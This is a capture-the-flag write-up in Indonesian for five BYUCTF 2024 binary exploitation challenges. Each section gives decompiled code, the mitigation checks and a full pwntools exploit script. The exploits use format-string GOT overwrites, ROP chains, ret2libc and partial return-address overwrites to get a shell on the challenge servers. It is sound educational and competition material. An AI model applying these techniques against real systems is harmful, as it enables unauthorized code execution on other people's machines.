- Published on
BYUCTF 2024 Pwn Writeup (Bahasa Indonesia)
- Authors
- Name
- itoid
- Founder of SNI
BYUCTF 2024 Pwn Writeup (Bahasa Indonesia)
Solved by: itoid & msfir
All
Diberikan sebuah zip yang berisi Executable and Linkable Format (ELF) 64-bit beserta Docker Setup untuk mendeploy challengenya di server. Langsung saja kita decompile ELFnya.
main
int __fastcall main(int argc, const char **argv, const char **envp)
{
vuln(argc, argv, envp);
return 0;
}
vuln
int vuln()
{
int result; // eax
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
while ( 1 )
{
result = strcmp(buf, "quit");
if ( !result )
break;
read(0, buf, 0x100uLL);
printf(buf);
}
return result;
}
Mari kita cek mitigasi yang ada di program tersebut dengan command checksec
.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x3fe000)
Stack: Executable
RWX: Has RWX segments
Challenge dari program ini sangat sederhana, dikarenakan stacknya executable
, jadi cukup leak stack address
dan masukan shellcode execve("/bin/sh", 0, 0)
di stack untuk mendapatkan Arbitrary Code Execution
. Selain menggunakan cara tersebut, kita juga bisa mengoverwrite Global Offset Table (GOT)
dari fungsi printf
karena mitigasi programnya hanya menggunakan Partial Relocation Read-Only (RELRO)
, yang membuat GOT tetap writable. Langsung saja overwrite GOT entry dari fungsi printf
dengan address system
kemudian kirim /bin/sh\0
sebagai byte string. Dengan demikian, ketika fungsi printf
dipanggil, system('/bin/sh')
akan dieksekusi, yang mengakibatkan terjadinya Arbitrary Code Execution
.
Kita bisa memanfaatkan Format String
vulnerability di fungsi printf(buf)
untuk leak address dari __libc_start_call_main+128
kemudian menghitung jarak relatif antara base address dari libc dengan address tersebut untuk mendapatkan base address libc.
POC
#!/usr/bin/python3
from pwn import *
exe = './all'
elf = context.binary = ELF(exe, checksec = 0)
context.log_level = 'debug'
host, port = "nc all.chal.cyberjousting.com 1348".split(" ")[1:3]
io = remote(host, port)
sl = lambda a: io.sendline(a)
int16 = lambda a: int(a, 16)
rud = lambda a:io.recvuntil(a, drop=0x1)
com = lambda: io.interactive()
sl(b'%15$p')
libc_base = int16(rud(b'\n')) - 0x29d90
p = fmtstr_payload(0x6, {0x404008: (libc_base + 0x50d60 + 0x10)}, write_size='short')
sl(p)
sl(b'/bin/sh\0')
com()
Static
Diberikan sebuah Executable and Linkable Format (ELF) 64-bit. Langsung saja kita decompile ELFnya.
main
int __fastcall main(int argc, const char **argv, const char **envp)
{
vuln(argc, argv, envp);
return 0;
}
vuln
__int64 vuln()
{
char v1[10]; // [rsp+6h] [rbp-Ah] BYREF
return read(0LL, v1, 256LL);
}
Mari kita cek mitigasi yang ada di program tersebut dengan command checksec
.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Challenge dari program ini sangat sederhana, terdapat Buffer Overflow
vulnerability di fungsi read(0LL, v1, 256LL)
jadi cukup buat Return-Oriented Programming (ROP) Chain execve("/bin/sh", 0, 0)
dengan syaratAccumulator Register ($RAX) = 59
dan memanfaatkan instruksi-instruksi assembly yang ada di program tersebut untuk mendapatkan Arbitrary Code Execution
.
POC
#!/usr/bin/python3
from pwn import *
exe = './static'
elf = context.binary = ELF(exe, checksec = 0)
context.log_level = 'debug'
host, port = "nc static.chal.cyberjousting.com 1350".split(" ")[1:3]
io = remote(host, port)
s = lambda a: io.send(a)
com = lambda: io.interactive()
poprdi = 0x0000000000401fe0
poprsi = 0x00000000004062d8
bss = 0x49d150
poprdx_rbp = 0x45e467
poprax = 0x000000000041069c
syscall = 0x401194
movrdxtorsipointer = 0x460c42
p = flat(cyclic(0x12), poprsi, bss, poprdx_rbp, b'/bin/sh\x00', 0, movrdxtorsipointer, poprax, 59, poprdi, bss, poprsi, 0, poprdx_rbp, 0, 0, syscall)
s(p)
com()
Numbersss
Diberikan sebuah Executable and Linkable Format (ELF) 64-bit dan Dockerfile. Langsung saja kita decompile ELFnya.
main
int __fastcall main(int argc, const char **argv, const char **envp)
{
vuln(argc, argv, envp);
return 0;
}
vuln
__int64 vuln()
{
__int64 result; // rax
char v1[16]; // [rsp+0h] [rbp-10h] BYREF
printf("Free junk: %p\n", &printf);
puts("How many bytes do you want to read in?");
__isoc99_scanf("%hhd", &length);
if ( length > 16 )
{
puts("Too many bytes!");
exit(1);
}
for ( counter = 0; ; ++counter )
{
result = (unsigned __int8)length;
if ( counter == length )
break;
read(0, &v1[counter], 1uLL);
}
return result;
}
Mari kita cek mitigasi yang ada di program tersebut dengan command checksec
.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
Challenge dari program ini sangat sederhana. Program melakukan pengecekan terhadap panjang variabel &length
, jika panjangnya lebih dari 16 maka program akan exit. Terdapat Out-of-Bounds (OOB)
vulnerability di fungsi __isoc99_scanf("%hhd", &length);
. Karena tipe data variabel &length
adalah signed char
yang mempunyai range dari -128 sampai dengan 127
, kita bisa memasukan angka 128
sehingga yang tersimpan pada memori adalah -128
. Program akan membaca inputan kita dengan read(0, &v1[counter], 1uLL); (byte by byte)
, jadi cukup melakukan Return-Oriented Programming (ROP) Chain system('/bin/sh')
dengan tambahan instruksi assembly ret
karena terdapat Move Aligned Packed Single-Precision Floating-Point Values (MOVAPS)
di 64-bit ELF, kemudian payloadnya bisa difill dengan sembarang karakter sampai panjang payloadnya 128 untuk mendapatkan Arbitrary Code Execution
.
POC
#!/usr/bin/python3
from pwn import *
exe = './numbersss'
elf = context.binary = ELF(exe, checksec = 0)
context.log_level = 'debug'
host, port = "nc numbersss.chal.cyberjousting.com 1351".split(" ")[1:3]
io = remote(host, port)
sl = lambda a: io.sendline(a)
sla = lambda a, b: io.sendlineafter(a, b)
int16 = lambda a: int(a, 16)
rud = lambda a:io.recvuntil(a, drop=0x1)
lj = lambda a, b, c : a.ljust(b, c)
com = lambda: io.interactive()
libc = ELF("./libc.so.6", checksec = 0)
ld = ELF("./ld-linux.so", checksec = 0)
rud(b'Free junk: ')
leaked_printf = int16(rud(b'\n'))
libc.address = leaked_printf - libc.sym['printf']
sla(b'in?\n', b'128')
rop = ROP(libc)
rop.raw(cyclic(0x18))
rop.call(rop.ret.address)
rop.system(next(libc.search(b'/bin/sh\0')))
p = lj(rop.chain(), 128, b'\0')
sl(p)
com()
Gargantuan
Diberikan sebuah Executable and Linkable Format (ELF) 64-bit dan libc. Langsung saja kita decompile ELFnya.
main
int __fastcall main(int argc, const char **argv, const char **envp)
{
puts("Welcome!");
puts("Enter your input below:");
gargantuan("Enter your input below:");
return 0;
}
gargantuan
int gargantuan()
{
size_t v0; // rbx
size_t v1; // rax
char buf[512]; // [rsp+0h] [rbp-720h] BYREF
char s[1288]; // [rsp+200h] [rbp-520h] BYREF
int v5; // [rsp+708h] [rbp-18h]
int i; // [rsp+70Ch] [rbp-14h]
memset(s, 0, 0x500uLL);
for ( i = 0; i <= 4; ++i )
{
v5 = read(0, buf, 0x200uLL);
if ( v5 <= 0 )
{
puts("read error");
return printf("Oh I'm sorry, did you want this?? Oops, TOO LATE! %p\n", gargantuan);
}
if ( strlen(buf) > 0x100 )
{
puts("too large");
return printf("Oh I'm sorry, did you want this?? Oops, TOO LATE! %p\n", gargantuan);
}
v0 = v5;
v1 = strlen(s);
memcpy(&s[v1], buf, v0);
}
return printf("Oh I'm sorry, did you want this?? Oops, TOO LATE! %p\n", gargantuan);
}
Mari kita cek mitigasi yang ada di program tersebut dengan command checksec
.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
PIE enabled (Position Independent Executable diaktifkan). Terdapat Off-by-one
vulnerability di iterasi kelima fungsi v5 = read(0, buf, 0x200uLL);
, jadi kita bisa memanfaatkan vulnerability tersebut untuk melakukan Execution Flow Hijacking
dengan cara mengoverwrite address instruksi assembly mov eax, 0
menjadi address fungsi gargantuan
sehingga program tidak akan langsung exit, namun akan kembali ke fungsi gargantuan
dan address dari fungsi gargantuan
akan dileak.
State stack destination sebelum memcpy(&s[v1], buf, v0);
pada iterasi kelima.
State stack destination setelah memcpy(&s[v1], buf, v0);
pada iterasi kelima.
Kita dapat menghitung jarak relatif base address dari ELF dengan address dari fungsi gargantuan
untuk mendapatkan base address dari ELF tersebut. Setelah itu, kita dapat melakukan Return-Oriented Programming (ROP) Chain untuk leak address libc.sym.puts
melalui Procedure Linkage Table (PLT)
fungsi puts
, dan melakukan Return-Oriented Programming (ROP) Chain kembali untuk memanggil system('/bin/sh')
yang mengakibatkan Arbitrary Code Execution
.
POC
#!/usr/bin/python3
from pwn import *
exe = './gargantuan'
elf = context.binary = ELF(exe, checksec = 0)
context.log_level = 'debug'
host, port = "nc gargantuan.chal.cyberjousting.com 1352".split(" ")[1:3]
io = remote(host, port)
sla = lambda a, b: io.sendlineafter(a, b)
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sl = lambda a: io.sendline(a)
rl = lambda: io.recvline()
com = lambda: io.interactive()
li = lambda a: log.info(a)
rud = lambda a:io.recvuntil(a, drop=0x1)
r = lambda: io.recv()
int16 = lambda a: int(a, 16)
rar = lambda a: io.recv(a)
rj = lambda a, b, c : a.rjust(b, c)
lj = lambda a, b, c : a.ljust(b, c)
d = lambda a: a.decode('utf-8')
e = lambda a: a.encode()
cl = lambda: io.close()
rlf = lambda: io.recvline(0)
def attack(wtc):
s(lj(b'A' * 0x100, 0x200, b'\0'))
sleep(0.2)
s(lj(b'A' * 0x100, 0x200, b'\0'))
sleep(0.2)
s(lj(b'A' * 0x100, 0x200, b'\0'))
sleep(0.2)
s(lj(b'A' * 0x100, 0x200, b'\0'))
sleep(0.2)
s(b'E' * 0x100 + p64(0) + b'F' * 32 + wtc)
attack(b'\x0b')
rud(b'TOO LATE! ')
gargantuan = int16(rud(b'\n'))
elf.address = gargantuan - 0x000011e5
assert elf.address & 0xfff == 0
li(f"ELF Address: {hex(elf.address)}")
libc = ELF("./libc.so.6", checksec = 0)
rop = ROP(elf)
rop.puts(elf.got.puts)
rop.gargantuan()
li(f"rop chain: {rop.dump()}")
attack(rop.chain())
rl()
leaked_puts = u64(lj(rud(b'\n'), 8, b'\0'))
li(f"Leaked puts: {hex(leaked_puts)}")
libc.address = leaked_puts - libc.sym.puts
rop = ROP(libc)
rop.call(rop.ret.address)
rop.system(next(libc.search(b'/bin/sh\0')))
li(f"rop chain: {rop.dump()}")
attack(rop.chain())
com()
Directory
Diberikan sebuah zip yang berisi Executable and Linkable Format (ELF) 64-bit beserta Docker Setup untuk mendeploy challengenya di server. Langsung saja kita decompile ELFnya.
main
int __fastcall main(int argc, const char **argv, const char **envp)
{
process_menu(argc, argv, envp);
return 0;
}
process_menu
__int64 process_menu()
{
__int64 result; // rax
int v1; // [rsp+0h] [rbp-1E0h]
char v2[256]; // [rsp+4h] [rbp-1DCh] BYREF
unsigned int v3; // [rsp+104h] [rbp-DCh] BYREF
int v4[52]; // [rsp+108h] [rbp-D8h] BYREF
unsigned int i; // [rsp+1D8h] [rbp-8h]
int j; // [rsp+1DCh] [rbp-4h]
v1 = 0;
while ( 1 )
{
result = v3;
if ( v3 == 4 )
return result;
print_menu();
printf("> ");
__isoc99_scanf("%d", &v3);
if ( v3 == 4 )
{
puts("Exiting...");
}
else
{
if ( (int)v3 > 4 )
goto LABEL_23;
switch ( v3 )
{
case 3u:
puts("Printing directory...");
for ( i = 0; (int)i < v1; ++i )
printf("%d. %s\n", i, &v2[20 * i + 264]);
break;
case 1u:
if ( v1 <= 9 )
{
puts("Enter name: ");
v4[0] = read(0, v2, 0x30uLL);
v2[strcspn(v2, "\n")] = 0;
memcpy(&v2[20 * v1++ + 264], v2, v4[0]);
}
else
{
puts("Directory is full!");
}
break;
case 2u:
puts("Enter index: ");
__isoc99_scanf("%d", v4);
if ( v4[0] >= 0 && v4[0] < v1 )
{
for ( j = v4[0]; j < v1; ++j )
strcpy(&v2[20 * j + 264], &v2[20 * j + 284]);
--v1;
}
else
{
puts("Invalid index!");
}
break;
default:
LABEL_23:
puts("Invalid option");
break;
}
}
}
}
print_menu
int print_menu()
{
puts("1. Add a name");
puts("2. Remove a name");
puts("3. Print directory");
return puts("4. Exit");
}
win
int win()
{
return system("/bin/sh");
}
Mari kita cek mitigasi yang ada di program tersebut dengan command checksec
.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Challenge dari program ini sangat sederhana, cukup overwrite address instruksi assembly mov eax, 0
dengan address instruksi assembly lea rax, str._bin_sh
yang terdapat pada fungsi win
dengan one-byte overwrite
pada iterasi kesepuluh fungsi v4[0] = read(0, v2, 0x30uLL);
untuk mendapatkan Arbitrary Code Execution
.
State stack destination sebelum memcpy(&v2[20 * v1++ + 264], v2, v4[0]);
pada iterasi kesepuluh.
State stack destination setelah memcpy(&v2[20 * v1++ + 264], v2, v4[0]);
pada iterasi kesepuluh.
POC
#!/usr/bin/python3
from pwn import *
exe = './directory'
elf = context.binary = ELF(exe, checksec = 0)
context.log_level = 'debug'
host, port = "nc directory.chal.cyberjousting.com 1349".split(" ")[1:3]
io = remote(host, port)
sla = lambda a, b: io.sendlineafter(a, b)
sa = lambda a, b: io.sendafter(a, b)
sl = lambda a: io.sendline(a)
com = lambda: io.interactive()
li = lambda a: log.info(a)
for i in range(1, 10, 1):
sla(b'> ', b'1')
p = b'A' * 0x30
li(f"iterasi ke - {i}")
sa(b'name: \n', p)
sla(b'> ', b'1')
p = flat({0x28: p8(0x3b)})
sa(b'name: \n', p)
sla(b'> ', b'4')
com()